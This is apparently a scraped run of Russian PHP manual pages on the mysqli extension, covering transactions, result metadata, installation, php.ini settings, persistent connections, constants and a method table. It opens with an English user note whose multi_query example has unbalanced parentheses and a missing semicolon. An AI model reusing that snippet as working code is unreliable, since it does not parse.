if (!$mysqli->query("DROP TABLE IF EXISTS test") || !$mysqli->query("CREATE TABLE test(id INT)")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

$sql = "SELECT COUNT(*) AS _num FROM test; ";
$sql.= "INSERT INTO test(id) VALUES (1); ";
$sql.= "SELECT COUNT(*) AS _num FROM test; ";

// changes to example 1 start here

// don't bother checking the result from multi_query since it will return false
// if the first query does not return data even if the query itself succeeds.
$mysqli->multi_query($sql);

do // while (true); // exit only on error or when there are no more queries to process
{
    // check if query currently being processed hasn't failed
    if (0 !== $mysqli->errno)
    {
        echo "Multi query failed: (" . $mysqli->errno . ") " . $mysqli->error;
        break;
    }

    // store and possibly process result of the query,
    // both store_result & use_result will return false
    // for queries that do not return results (INSERT for example)
    if(false !== ($res = $mysqli->store_result() )
    {
        var_dump($res->fetch_all(MYSQLI_ASSOC));
            $res->free();
    }

    // exit loop if there ar no more queries to process
    if (false === ($mysqli->more_results() )
    {
        break;
    }

    // get result of the next query to process
    // don't bother to check for success/failure of the result
    // since at the start of the loop there is an error check &
    // report block.
    $mysqli->next_result()

} while (true); // exit only on error or when there are no more queries to process
?>

Note that the normal while ($mysqli->more_results() && $mysqli->next_result() has been replaced by two checks and  while (true);
This is due to the 'problem' that next_result will return false if the query in question failed.
So one either needs to do one last check after the while loop to check if there was an error or one has to split up the different actions.
The changes in the example do the splitting.


API поддержка транзакций

Поддержка транзакций в СУБД MySQL зависит от используемого движка хранилища данных. Начиная с MySQL 5.5, по умолчанию используется движок InnoDB. InnoDB полностью поддерживает модель транзакций ACID.

Транзакциями можно управлять как средствами SQL, так и вызовами API-функций. Для включения и выключения режима автофиксации изменений (autocommit) рекомендуется пользоваться API функциями.

Пример #1 Установка режима автофиксации (autocommit) средствами SQL и функциями API

<?php
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

/* Рекомендуется управлять настройками транзакций средствами API */
$mysqli->autocommit(false);

/* Не будет распознаваться и учитываться плагинами репликации и балансировки нагрузки */
$mysqli->query('SET AUTOCOMMIT = 0');

Дополнительные службы сервера, такие как плагины репликации и балансировки нагрузки, могут отслеживать вызовы API-функций. Плагин репликации может сообщать балансировщику нагрузки о запущенной транзакции, если эта транзакция обслуживается API-функциями. Сервер не сможет распределять нагрузку между репликами базы, если смена режима автофиксации (autocommit), фиксация и откат транзакций осуществляются SQL-запросами.

Пример #2 Фиксация и откат

<?php
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");
$mysqli->autocommit(false);

$mysqli->query("INSERT INTO test(id) VALUES (1)");
$mysqli->rollback();

$mysqli->query("INSERT INTO test(id) VALUES (2)");
$mysqli->commit();

Следует заметить, что сервер MySQL не может откатить результаты всех запросов. Некоторые изменения фиксируются неявно.

Смотрите также

  • mysqli::autocommit()
  • mysqli::begin_transaction()
  • mysqli::commit()
  • mysqli::rollback()

User Contributed Notes

There are no user contributed notes for this page.


Метаданные

Результирующий набор MySQL содержит метаданные. Эти данные описывают столбцы результирующей таблицы. Все сведения, которые передаёт MySQL, доступны через mysqli интерфейс. Модуль не изменяет получаемые данные, либо эти изменения незначительны. Различия между версиями MySQL также можно не принимать во внимание.

Метаданные доступны через интерфейс mysqli_result.

Пример #1 Доступ к метаданным результирующей таблицы

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
echo "Не удалось подключиться к MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

$res = $mysqli->query("SELECT 1 AS _one, 'Hello' AS _two FROM DUAL");
var_dump($res->fetch_fields());
?>

Результат выполнения данного примера:

array(2) {
  [0]=>
  object(stdClass)#3 (13) {
    ["name"]=>
    string(4) "_one"
    ["orgname"]=>
    string(0) ""
    ["table"]=>
    string(0) ""
    ["orgtable"]=>
    string(0) ""
    ["def"]=>
    string(0) ""
    ["db"]=>
    string(0) ""
    ["catalog"]=>
    string(3) "def"
    ["max_length"]=>
    int(1)
    ["length"]=>
    int(1)
    ["charsetnr"]=>
    int(63)
    ["flags"]=>
    int(32897)
    ["type"]=>
    int(8)
    ["decimals"]=>
    int(0)
  }
  [1]=>
  object(stdClass)#4 (13) {
    ["name"]=>
    string(4) "_two"
    ["orgname"]=>
    string(0) ""
    ["table"]=>
    string(0) ""
    ["orgtable"]=>
    string(0) ""
    ["def"]=>
    string(0) ""
    ["db"]=>
    string(0) ""
    ["catalog"]=>
    string(3) "def"
    ["max_length"]=>
    int(5)
    ["length"]=>
    int(5)
    ["charsetnr"]=>
    int(8)
    ["flags"]=>
    int(1)
    ["type"]=>
    int(253)
    ["decimals"]=>
    int(31)
  }
}

Подготавливаемые запросы

Метаданные результирующих наборов, полученных в результате выполнения подготовленных запросов, можно получить аналогичным образом. Подходящий дескриптор mysqli_result можно получить функцией mysqli_stmt::result_metadata().

Пример #2 Метаданные подготовленных запросов

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

$stmt = $mysqli->prepare("SELECT 1 AS _one, 'Hello' AS _two FROM DUAL");
$stmt->execute();
$result = $stmt->result_metadata();
var_dump($result->fetch_fields());

Смотрите также

  • mysqli::query()
  • mysqli_result::fetch_fields()

User Contributed Notes

There are no user contributed notes for this page.


Требования

Чтобы эти функции были доступны, PHP должен быть собран с поддержкой модуля mysqli.

MySQL 8

При запуске PHP до версии 7.1.16 или PHP 7.2 до 7.2.4, установите плагин по умолчанию MySQL 8 Server в mysql_native_password, иначе вы увидите ошибки, похожие на The server requested authentication method unknown to the client [caching_sha2_password], даже когда caching_sha2_password не используется.

Это связано с тем, что MySQL 8 по умолчанию использует caching_sha2_password, и плагин не распознается старыми версиями PHP (mysqlnd). Вместо этого измените это, установив default_authentication_plugin=mysql_native_password в my.cnf. Плагин caching_sha2_password будет поддерживаться в будущей версии PHP. Пока же модуль mysql_xdevapi поддерживает его.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Модуль mysqli был представлен с версией PHP 5.0.0. MySQL Native Driver был включён в PHP версии 5.3.0.

Установка для Linux

Большинство дистрибутивов Unix включает бинарные версии PHP, которые в дальнейшем могут быть установлены. Несмотря на то, что бинарные версии, как правило, собраны с включённой поддержкой модулей MySQL, может потребоваться установка дополнительных пакетов с библиотеками модулей. Убедитесь, что менеджер пакетов, идущий с выбранным дистрибутивом, позволяет установить такие пакеты.

К примеру, на Ubuntu пакет php5-mysql устанавливает модули ext/mysql, ext/mysqli, и pdo_mysql. В CentOS пакет php-mysql также устанавливает три этих модуля.

Конечно, вы всегда можете собрать PHP из исходного кода. Сборка PHP из исходного кода позволяет выделить только те модули MySQL (а также клиентские библиотеки для каждого из модулей), которые требуется использовать.

Рекомендуется использовать библиотеку MySQL Native Driver, так как она повышает производительность и даёт доступ к функциям, недоступным при использовании MySQL Client Library. Смотрите Что такое MySQL Native Driver в PHP? для ознакомления с возможностями MySQL Native Driver.

Под /path/to/mysql_config подразумевается расположение программы mysql_config, поставляемой вместе с MySQL Server.

Вспомогательная таблица времени компиляции mysqli
Версия PHP | По умолчанию | Опции настройки: mysqlnd | Опции настройки: libmysqlclient | Список изменений
5.4.x и выше | mysqlnd | --with-mysqli | --with-mysqli=/path/to/mysql_config | по умолчанию mysqlnd
5.3.x | libmysqlclient | --with-mysqli=mysqlnd | --with-mysqli=/path/to/mysql_config | mysqlnd поддерживается
5.0.x, 5.1.x, 5.2.x | libmysqlclient | Недоступно | --with-mysqli=/path/to/mysql_config | mysqlnd не поддерживается

Необходимо отметить, что существует возможность свободно перемешивать модули MySQL и клиентские библиотеки. Например, можно активировать модуль MySQL, позволяющий использовать MySQL Client Library (libmysqlclient), и при этом настроить модуль mysqli для использования MySQL Native Driver. Таким образом, возможны любые перестановки модулей и клиентских библиотек.

Установка для Windows

В Windows DLL php_mysqli.dll должен быть включён в php.ini.

Как и при включении любого модуля PHP (например, php_mysqli.dll), директива PHP extension_dir должна устанавливать каталог, в котором находятся модули PHP. Смотрите также раздел о самостоятельной установке PHP в Windows. Пример значения extension_dir - c:\php\ext.

Замечание:

Если при запуске веб-сервера возникает ошибка, подобная следующей: "Unable to load dynamic library './php_mysqli.dll'", это происходит потому, что файл php_mysqli.dll не может быть найден системой.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Параметры конфигурации MySQLi
Имя | По умолчанию | Место изменения | Список изменений
mysqli.allow_local_infile | "0" | PHP_INI_SYSTEM | До PHP 7.2.16 и 7.3.3 значением по умолчанию было "1".
mysqli.local_infile_directory |  | PHP_INI_SYSTEM | Доступно, начиная с PHP 8.1.0.
mysqli.allow_persistent | "1" | PHP_INI_SYSTEM |
mysqli.max_persistent | "-1" | PHP_INI_SYSTEM |
mysqli.max_links | "-1" | PHP_INI_SYSTEM |
mysqli.default_port | "3306" | PHP_INI_ALL |
mysqli.default_socket | NULL | PHP_INI_ALL |
mysqli.default_host | NULL | PHP_INI_ALL |
mysqli.default_user | NULL | PHP_INI_ALL |
mysqli.default_pw | NULL | PHP_INI_ALL |
mysqli.reconnect | "0" | PHP_INI_SYSTEM | Удалено, начиная с PHP 8.2.0
mysqli.rollback_on_cached_plink | "0" | PHP_INI_SYSTEM |

Прочие детали и определения констант PHP_INI_* смотрите в разделе конфигурационные изменения.

Краткое разъяснение конфигурационных директив.

mysqli.allow_local_infile int

Разрешает доступ к локальным файлам, с точки зрения PHP, с помощью инструкций LOAD DATA.

mysqli.local_infile_directory string

Позволяет ограничить загрузку LOAD DATA файлами, расположенными в указанном каталоге.

mysqli.allow_persistent int

Включает возможность создавать постоянные соединения с помощью mysqli_connect().

mysqli.max_persistent int

Максимально возможное количество постоянных соединений. Для неограниченного количества установите в 0.

mysqli.max_links int

Максимальное количество соединений MySQL на процесс.

mysqli.default_port int

TCP-порт, используемый по умолчанию для соединения с сервером баз данных, если другое значение явно не указано. Если значение по умолчанию не указано, оно будет получено из переменной среды окружения MYSQL_TCP_PORT, директивы mysql-tcp в файле /etc/services или константы MYSQL_PORT, которая задаётся во время компиляции, в указанном порядке. Win32 использует только константу MYSQL_PORT.

mysqli.default_socket string

Имя сокета по умолчанию, которое используется для соединения с локальной базой данных, если имя сокета не было указано явно.

mysqli.default_host string

Имя сервера, которое используется, если имя не было указано явно.

mysqli.default_user string

Имя пользователя, используемое по умолчанию, если имя не было указано явно.

mysqli.default_pw string

Пароль, используемый по умолчанию для подключения к БД, если пароль не был явно указан.

mysqli.reconnect int

Автоматически восстанавливать соединение при его потере.

Замечание: Эта настройка игнорируется драйвером "mysqlnd" и была удалена в PHP 8.2.0.

mysqli.rollback_on_cached_plink bool

Если этот параметр включён, закрытие постоянного соединения откатит любые ожидающие транзакции этого соединения, прежде чем оно будет возвращено в пул постоянных соединений. В противном случае ожидающие соединения будут откатываться только тогда, когда соединение будет повторно использовано или когда оно будет фактически закрыто.

Пользователи не могут устанавливать MYSQL_OPT_READ_TIMEOUT с помощью API-вызовов или установки конфигурационных значений во время работы скрипта. Учтите, что если бы это было возможно, то libmysqlclient и потоки по-разному обрабатывали бы значение MYSQL_OPT_READ_TIMEOUT.

User Contributed Notes

User 09-Mar-2022 01:16
About "mysqli.max_persistent int".
The documentation says "Set to 0 for unlimited".
Shouldn't the value be set to -1 for unlimited?


Модуль mysqli и постоянные соединения

Идея постоянных подключений состоит в том, чтобы соединение между клиентским процессом и базой данных можно было использовать повторно, особенно когда требуется создавать и закрывать соединения множество раз. Это бы позволило снизить накладные расходы на создание новых подключений каждый раз, когда они требуются, за счёт использования существующих кешированных подключений, свободных для повторного использования.

В отличие от модуля mysql, в mysqli нет отдельной функции для создания постоянных соединений. Чтобы открыть постоянное соединение, при создании подключения к имени хоста нужно добавить префикс p:.

При использовании постоянных соединений можно столкнуться с проблемой, которая заключается в том, что клиенты могут оставлять такие подключения в непредсказуемом состоянии. Например, клиент ставит блокировку на таблицу, а затем аварийно завершает работу. То есть блокировка снята не будет. Новый клиентский процесс, использующий это подключение повторно, получит его как есть, и вынужден будет провести какую-то очистку подключения, прежде чем начать его использовать. Соответственно, в задачи программиста входит ещё и проверка подобных ситуаций и внедрение кода, осуществляющего такую очистку.

Тем не менее, в mysqli эта проблема решена. В модуле есть встроенный функционал, осуществляющий очистку соединений и переводящий их в состояние пригодное для использования. Код очистки, реализованный в mysqli включает следующие операции:

  • Откат активных транзакций

  • Закрытие и удаление временных таблиц

  • Снятие блокировки с таблиц

  • Сброс переменных сессии

  • Закрытие подготовленных запросов (всегда происходит в PHP)

  • Закрытие обработчиков

  • Снятие блокировок, установленных функцией GET_LOCK()

Это позволяет быть уверенным в том, что возвращённые из пула соединения готовы к использованию в клиентских процессах.

Модуль mysqli делает очистку соединений автоматически путём вызова C-API функции mysql_change_user().

Автоматическая очистка имеет свои достоинства и недостатки. Как плюс, программисту больше не надо заботиться об очистке соединения, все делается автоматически. Однако, это не лучшим образом влияет на производительность, скрипт потенциально может работать медленней, так как автоматическая чистка запускается каждый раз, когда соединение извлекается из пула.

Есть возможность отключить автоматическую очистку соединений, если скомпилировать PHP с директивой MYSQLI_NO_CHANGE_USER_ON_PCONNECT.

Замечание:

Постоянные соединения поддерживаются модулем mysqli как при работе с родным MySQL-драйвером, так и при работе с клиентской библиотекой MySQL.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

MYSQLI_READ_DEFAULT_GROUP (int)

Читать опции из указанной группы в файле my.cnf или файле, указанном с помощью MYSQLI_READ_DEFAULT_FILE

MYSQLI_READ_DEFAULT_FILE (int)

Читать опции из указанного файла, вместо my.cnf

MYSQLI_OPT_CONNECT_TIMEOUT (int)

Время ожидания подключения в секундах.

MYSQLI_OPT_READ_TIMEOUT (int)

Время ожидания результата выполнения команды в секундах. Доступно с PHP 7.2.0.

MYSQLI_OPT_LOCAL_INFILE (int)

Включает команду LOAD LOCAL INFILE.

MYSQLI_OPT_INT_AND_FLOAT_NATIVE (int)

Преобразует целые и плавающие столбцы обратно в числа PHP. Корректно работает только с mysqlnd.

MYSQLI_OPT_NET_CMD_BUFFER_SIZE (int)

Размер внутреннего буфера команды/сети. Корректно работает только с mysqlnd.

MYSQLI_OPT_NET_READ_BUFFER_SIZE (int)

Максимальный размер блока чтения в байтах при чтении тела пакета команд MySQL. Only valid for mysqlnd.

MYSQLI_OPT_SSL_VERIFY_SERVER_CERT (int)

Требуется MySQL 5.1.10 и выше

MYSQLI_INIT_COMMAND (int)

Команда, которая будет выполнена при подключении к серверу MySQL. Эта команда будет повторно вызвана при переподключении.

MYSQLI_CLIENT_SSL (int)

Использовать SSL (шифрованный протокол). Эта опция не может быть установлена приложениями; она устанавливается внутри библиотеки клиента MySQL.

MYSQLI_CLIENT_COMPRESS (int)

Использовать компрессию.

MYSQLI_CLIENT_INTERACTIVE (int)

Ждать interactive_timeout секунд (вместо wait_timeout) бездействия перед закрытием соединения. Переменная сессии клиента wait_timeout будет установлена в значение переменной сессии interactive_timeout.

MYSQLI_CLIENT_IGNORE_SPACE (int)

Разрешить пробелы после имён функций. Делает все имена функций зарезервированными словами.

MYSQLI_CLIENT_NO_SCHEMA (int)

Запретить синтаксис db_name.tbl_name.col_name.

MYSQLI_CLIENT_MULTI_QUERIES

Разрешить выполнение в одном вызове функции mysqli_query() нескольких запросов, разделённых точкой с запятой.

MYSQLI_STORE_RESULT (int)

Для использования буферизации наборов данных. Значение равно 0.

MYSQLI_USE_RESULT (int)

Для использования небуферизированных наборов данных. Значение равно 1.

MYSQLI_ASSOC (int)

Результат возвращается в виде ассоциативного массива с именами полей в качестве индексов.

MYSQLI_NUM (int)

Результат возвращается в виде индексного массива.

MYSQLI_BOTH (int)

Результат возвращается в виде массива, который содержит как числовой, так и ассоциативный индексы.

MYSQLI_NOT_NULL_FLAG (int)

Информирует о том, что поле определено как NOT NULL.

MYSQLI_PRI_KEY_FLAG (int)

Поле является частью первичного индекса.

MYSQLI_UNIQUE_KEY_FLAG (int)

Поле является частью уникального индекса.

MYSQLI_MULTIPLE_KEY_FLAG (int)

Поле является частью индекса.

MYSQLI_BLOB_FLAG (int)

Поле определено как BLOB.

MYSQLI_UNSIGNED_FLAG (int)

Поле определено как UNSIGNED.

MYSQLI_ZEROFILL_FLAG (int)

Поле определено как ZEROFILL.

MYSQLI_AUTO_INCREMENT_FLAG (int)

Поле определено как AUTO_INCREMENT.

MYSQLI_TIMESTAMP_FLAG (int)

Поле определено как TIMESTAMP.

MYSQLI_SET_FLAG (int)

Поле определено как SET.

MYSQLI_NUM_FLAG (int)

Поле определено как NUMERIC.

MYSQLI_PART_KEY_FLAG (int)

Поле является частью мульти-индекса.

MYSQLI_GROUP_FLAG (int)

Поле является частью GROUP BY.

MYSQLI_TYPE_DECIMAL (int)

Поле определено как DECIMAL.

MYSQLI_TYPE_NEWDECIMAL (int)

Математическая точность полей DECIMAL или NUMERIC (MySQL 5.0.3 и выше).

MYSQLI_TYPE_BIT (int)

Поле определено как BIT (MySQL 5.0.3 и выше).

MYSQLI_TYPE_TINY (int)

Поле определено как TINYINT.

MYSQLI_TYPE_SHORT (int)

Поле определено как SMALLINT.

MYSQLI_TYPE_LONG (int)

Поле определено как INT.

MYSQLI_TYPE_FLOAT (int)

Поле определено как FLOAT.

MYSQLI_TYPE_DOUBLE (int)

Поле определено как DOUBLE.

MYSQLI_TYPE_NULL (int)

Поле определено как DEFAULT NULL.

MYSQLI_TYPE_TIMESTAMP (int)

Поле определено как TIMESTAMP.

MYSQLI_TYPE_LONGLONG (int)

Поле определено как BIGINT.

MYSQLI_TYPE_INT24 (int)

Поле определено как MEDIUMINT.

MYSQLI_TYPE_DATE (int)

Поле определено как DATE.

MYSQLI_TYPE_TIME (int)

Поле определено как TIME.

MYSQLI_TYPE_DATETIME (int)

Поле определено как DATETIME.

MYSQLI_TYPE_YEAR (int)

Поле определено как YEAR.

MYSQLI_TYPE_NEWDATE (int)

Поле определено как DATE.

MYSQLI_TYPE_INTERVAL (int)

Поле определено как INTERVAL

MYSQLI_TYPE_ENUM (int)

Поле определено как ENUM.

MYSQLI_TYPE_SET (int)

Поле определено как SET.

MYSQLI_TYPE_TINY_BLOB (int)

Поле определено как TINYBLOB.

MYSQLI_TYPE_MEDIUM_BLOB (int)

Поле определено как MEDIUMBLOB.

MYSQLI_TYPE_LONG_BLOB (int)

Поле определено как LONGBLOB.

MYSQLI_TYPE_BLOB (int)

Поле определено как BLOB.

MYSQLI_TYPE_VAR_STRING (int)

Поле определено как VARCHAR.

MYSQLI_TYPE_STRING (int)

Поле определено как CHAR или BINARY

MYSQLI_TYPE_CHAR (int)

Поле определено как TINYINT. Для CHAR смотрите MYSQLI_TYPE_STRING

MYSQLI_TYPE_GEOMETRY (int)

Поле определено как GEOMETRY.

MYSQLI_TYPE_JSON (int)

Поле определено как JSON. Действительно только для mysqlnd и MySQL 5.7.8 и выше.

MYSQLI_NEED_DATA

Имеются ещё данные, доступные для связанных переменных.

MYSQLI_NO_DATA (int)

Больше нет доступных данных для связанных переменных.

MYSQLI_DATA_TRUNCATED (int)

Произошло усечение данных. Доступно начиная с MySQL 5.0.5.

MYSQLI_ENUM_FLAG (int)

Поле определено как ENUM.

MYSQLI_BINARY_FLAG (int)

Поле определено как BINARY.

MYSQLI_CURSOR_TYPE_FOR_UPDATE (int)

MYSQLI_CURSOR_TYPE_NO_CURSOR (int)

MYSQLI_CURSOR_TYPE_READ_ONLY (int)

MYSQLI_CURSOR_TYPE_SCROLLABLE (int)

MYSQLI_STMT_ATTR_CURSOR_TYPE (int)

MYSQLI_STMT_ATTR_PREFETCH_ROWS (int)

MYSQLI_STMT_ATTR_UPDATE_MAX_LENGTH (int)

MYSQLI_SET_CHARSET_NAME (int)

MYSQLI_REPORT_INDEX (int)

Уведомлять, если индекс, используемый в запросе, не указан либо превышает максимум.

MYSQLI_REPORT_ERROR (int)

Уведомлять об ошибках вызова функций mysqli.

MYSQLI_REPORT_STRICT (int)

Обрабатывать mysqli_sql_exception как ошибки, а не как предупреждения.

MYSQLI_REPORT_ALL (int)

Включить все уведомления.

MYSQLI_REPORT_OFF (int)

Отключает уведомления.

MYSQLI_DEBUG_TRACE_ENABLED (int)

Установлено в 1, если используется функция mysqli_debug().

MYSQLI_SERVER_QUERY_NO_GOOD_INDEX_USED (int)

MYSQLI_SERVER_QUERY_NO_INDEX_USED (int)

MYSQLI_SERVER_PUBLIC_KEY (int)

MYSQLI_REFRESH_GRANT (int)

Обновляет таблицу прав доступа.

MYSQLI_REFRESH_LOG (int)

Сбрасывает логи, точно так же, как и SQL выражение FLUSH LOGS.

MYSQLI_REFRESH_TABLES (int)

Очищает кеш таблицы, точно так же, как и SQL выражение FLUSH TABLES.

MYSQLI_REFRESH_HOSTS (int)

Очищает кеш хоста, точно так же, как и SQL выражение FLUSH HOSTS.

MYSQLI_REFRESH_REPLICA (int)

Алиас константы MYSQLI_REFRESH_SLAVE. Доступна, начиная с PHP 8.1.0.

MYSQLI_REFRESH_STATUS (int)

Сбрасывает переменные состояния, точно так же, как и SQL выражение FLUSH STATUS.

MYSQLI_REFRESH_THREADS (int)

Очищает кеш потока.

MYSQLI_REFRESH_SLAVE (int)

На ведомом реплицируемом сервере (slave): сбросить информацию ведущего сервера (master) и перезапустить ведомый сервер. Аналогично выполнению SQL выражения RESET SLAVE.

MYSQLI_REFRESH_MASTER (int)

На ведущем реплицируемом сервере (master): удалить бинарные файлы логов в бинарном индексе логов, и обрезать файл индекса. Аналогично выполнению SQL выражения RESET MASTER.

MYSQLI_TRANS_COR_AND_CHAIN (int)

Добавляет "AND CHAIN" в mysqli_commit() или mysqli_rollback().

MYSQLI_TRANS_COR_AND_NO_CHAIN (int)

Добавляет "AND NO CHAIN" в mysqli_commit() или mysqli_rollback().

MYSQLI_TRANS_COR_RELEASE (int)

Добавляет "RELEASE" в mysqli_commit() или mysqli_rollback().

MYSQLI_TRANS_COR_NO_RELEASE (int)

Добавляет "NO RELEASE" в mysqli_commit() или mysqli_rollback().

MYSQLI_TRANS_START_READ_ONLY (int)

Начинает транзакцию как "START TRANSACTION READ ONLY" с mysqli_begin_transaction().

MYSQLI_TRANS_START_READ_WRITE (int)

Начинает транзакцию как "START TRANSACTION READ WRITE" с mysqli_begin_transaction().

MYSQLI_TRANS_START_CONSISTENT_SNAPSHOT

Начинает транзакцию как "START TRANSACTION WITH CONSISTENT SNAPSHOT" с mysqli_begin_transaction().

MYSQLI_CLIENT_SSL_DONT_VERIFY_SERVER_CERT (int)

Требуется MySQL 5.6.5 и выше

MYSQLI_IS_MARIADB (bool)

Определяет, собран ли модуль mysqli с клиентской библиотекой MariaDB. Доступно, начиная с PHP 8.1.2.

User Contributed Notes

jeriba4 at googlemail dot com 10-Mar-2013 06:00
Note that although CHAR is an explicite string type within MySQL,
MYSQLI_TYPE_CHAR is interpreted the same way as MYSQLI_TYPE_TINY, which is the TINYINT numeric type within MySQL.
As a consequence, you cannot distinguish these two column types by using their respective type index, as both are set to integer one (1).
Anonymous 09-May-2008 12:44
MYSQLI_TYPE_SHORT is used for SMALLINT, not INT


Основная информация о функциях модуля MySQLi

Основная информация о методах mysqli
Класс mysqli
ООП-интерфейс | Процедурный интерфейс | Синоним (не используйте!) | Описание
Свойства
$mysqli::affected_rows | mysqli_affected_rows() | - | Получает число строк, затронутых предыдущей операцией MySQL
$mysqli::client_info | mysqli_get_client_info() | - | Возвращает информацию о версии клиента MySQL в виде строки (string)
$mysqli::client_version | mysqli_get_client_version() | - | Возвращает информацию о версии клиента MySQL в виде числа (integer)
$mysqli::connect_errno | mysqli_connect_errno() | - | Возвращает код ошибки последнего соединения
$mysqli::connect_error | mysqli_connect_error() | - | Возвращает строковое описание ошибки последнего подключения
$mysqli::errno | mysqli_errno() | - | Возвращает код ошибки последнего вызова функции
$mysqli::error | mysqli_error() | - | Возвращает строковое описание последней ошибки
$mysqli::field_count | mysqli_field_count() | - | Возвращает число столбцов для последнего запроса
$mysqli::host_info | mysqli_get_host_info() | - | Возвращает строку, содержащую тип используемого соединения
$mysqli::protocol_version | mysqli_get_proto_info() | - | Возвращает версию используемого протокола MySQL
$mysqli::server_info | mysqli_get_server_info() | - | Возвращает версию сервера MySQL
$mysqli::server_version | mysqli_get_server_version() | - | Возвращает версию сервера MySQL в виде числа (integer)
$mysqli::info | mysqli_info() | - | Отображает информацию о наиболее часто исполняемом запросе
$mysqli::insert_id | mysqli_insert_id() | - | Возвращает автоматически сгенерированный id, использованный в последнем запросе
$mysqli::sqlstate | mysqli_sqlstate() | - | Возвращает ошибку SQLSTATE предыдущей операции MySQL
$mysqli::warning_count | mysqli_warning_count() | - | Возвращает число предупреждений последнего запроса для заданной ссылки
Методы
mysqli::autocommit() | mysqli_autocommit() | - | Выключает или выключает автоматическое подтверждение изменений базы данных
mysqli::change_user() | mysqli_change_user() | - | Изменяет пользователя (user) для указанного соединения с базой данных
mysqli::character_set_name() | mysqli_character_set_name() | Н/Д | Возвращает кодировку, установленную по умолчанию для соединения с базой данных
mysqli::close() | mysqli_close() | - | Закрывает открытое соединение с базой данных
mysqli::commit() | mysqli_commit() | - | Подтверждает текущую транзакцию
mysqli::__construct() | mysqli_connect() | - | Открыть новое соединение с MySQL сервером [Примечание: статический метод (т.е. метод класса)]
mysqli::debug() | mysqli_debug() | - | Выполняет операции отладки
mysqli::dump_debug_info() | mysqli_dump_debug_info() | - | Сбор отладочной информации в лог
mysqli::get_charset() | mysqli_get_charset() | - | Возвращает объект, описывающий кодировку
mysqli::get_connection_stats() | mysqli_get_connection_stats() | - | Возвращает статистку соединения клиента. Доступно только с модулем mysqlnd.
mysqli::get_client_info() | mysqli_get_client_info() | - | Возвращает версию клиента MySQL в виде строки
Н/Д | mysqli_get_client_stats() | - | Возвращает статистку клиента для каждого процесса. Доступно только с модулем mysqlnd.
mysqli::get_server_info() | mysqli_get_server_info() | - | Возвращает строку, содержащую версию сервера MySQL, к которому произведено подключение
mysqli::get_warnings() | mysqli_get_warnings() | - | Не документировано
mysqli::init() | mysqli_init() | - | Инициализирует MySQLi и возвращает ресурс для использования с mysqli_real_connect.
mysqli::kill() | mysqli_kill() | - | Создаёт запрос серверу на уничтожение MySQL-потока
mysqli::more_results() | mysqli_more_results() | - | Проверяет на наличие дополнительных результатов запроса из мульти-запроса
mysqli::multi_query() | mysqli_multi_query() | - | Выполняет запрос к базе данных
mysqli::next_result() | mysqli_next_result() | - | Выполняет подготовку следующего результата из multi_query
mysqli::options() | mysqli_options() | mysqli_set_opt() | Устанавливает опции
mysqli::ping() | mysqli_ping() | - | Производит пинг соединения с сервером, либо переподключение, если соединение было сброшено
mysqli::prepare() | mysqli_prepare() | - | Выполняет подготовку SQL-запроса (Prepared statement)
mysqli::query() | mysqli_query() | - | Выполняет запрос к базе данных
mysqli::real_connect() | mysqli_real_connect() | - | Открывает соединение с сервером MySQL
mysqli::real_escape_string(), mysqli::escape_string() | mysqli_real_escape_string() | mysqli_escape_string() | Экранирует специальные символы в строке, используемой в SQL-запросе, принимая во внимание кодировку соединения
mysqli::real_query() | mysqli_real_query() | - | Выполняет SQL-запрос
mysqli::refresh() | mysqli_refresh() | - | Очищает таблицы или кеш, или сбрасывает информацию сервера репликации
mysqli::rollback() | mysqli_rollback() | - | Откатывает текущую транзакцию
mysqli::select_db() | mysqli_select_db() | - | Выбирает базу данных по умолчанию для выполнения запросов
mysqli::set_charset() | mysqli_set_charset() | - | Устанавливает кодировку клиента по умолчанию
mysqli::ssl_set() | mysqli_ssl_set() | - | Используется для установления защищённых соединений, используя SSL
mysqli::stat() | mysqli_stat() | - | Получает текущее состояние системы
mysqli::stmt_init() | mysqli_stmt_init() | - | Инициализирует и возвращает объект для использования с mysqli_stmt_prepare
mysqli::store_result() | mysqli_store_result() | - | Локально сохраняет результат, полученный последним запросом
mysqli::thread_id() | mysqli_thread_id() | - | Возвращает идентификатор потока для текущего соединения
mysqli::thread_safe() | mysqli_thread_safe() | - | Возвращает состояние безопасности потока
mysqli::use_result() | mysqli_use_result() | - | Инициирует получение результата
Основная информация о методах mysqli_stmt
MySQL_STMT
ООП-интерфейс | Процедурный интерфейс | Синоним (не используйте!) | Описание
Свойства
$mysqli_stmt::affected_rows | mysqli_stmt_affected_rows() | - | Возвращает число строк, изменённых, удалённых или вставленных при выполнении последней инструкции
$mysqli_stmt::errno | mysqli_stmt_errno() | - | Возвращает код ошибки последнего выполненного запроса
$mysqli_stmt::error | mysqli_stmt_error() | - | Возвращает строковое описание ошибки последнего запроса
$mysqli_stmt::field_count | mysqli_stmt_field_count() | - | Возвращает число полей в заданном запросе - не документировано
$mysqli_stmt::insert_id | mysqli_stmt_insert_id() | - | Получает ID, сгенерированное последней операцией INSERT
$mysqli_stmt::num_rows | mysqli_stmt_num_rows() | - | Возвращает число строк в результате выполнения запроса
$mysqli_stmt::param_count | mysqli_stmt_param_count() | Н/Д | Возвращает число параметров для заданного запроса
$mysqli_stmt::sqlstate | mysqli_stmt_sqlstate() | - | Возвращает ошибку SQLSTATE для последнего выполненного запроса
Методы
mysqli_stmt::attr_get() | mysqli_stmt_attr_get() | - | Используется для получения текущего значения атрибута запроса
mysqli_stmt::attr_set() | mysqli_stmt_attr_set() | - | Используется для модификации поведения подготовленного запроса
mysqli_stmt::bind_param() | mysqli_stmt_bind_param() | Н/Д | Передаётся переменные в подготовленный запрос как параметры
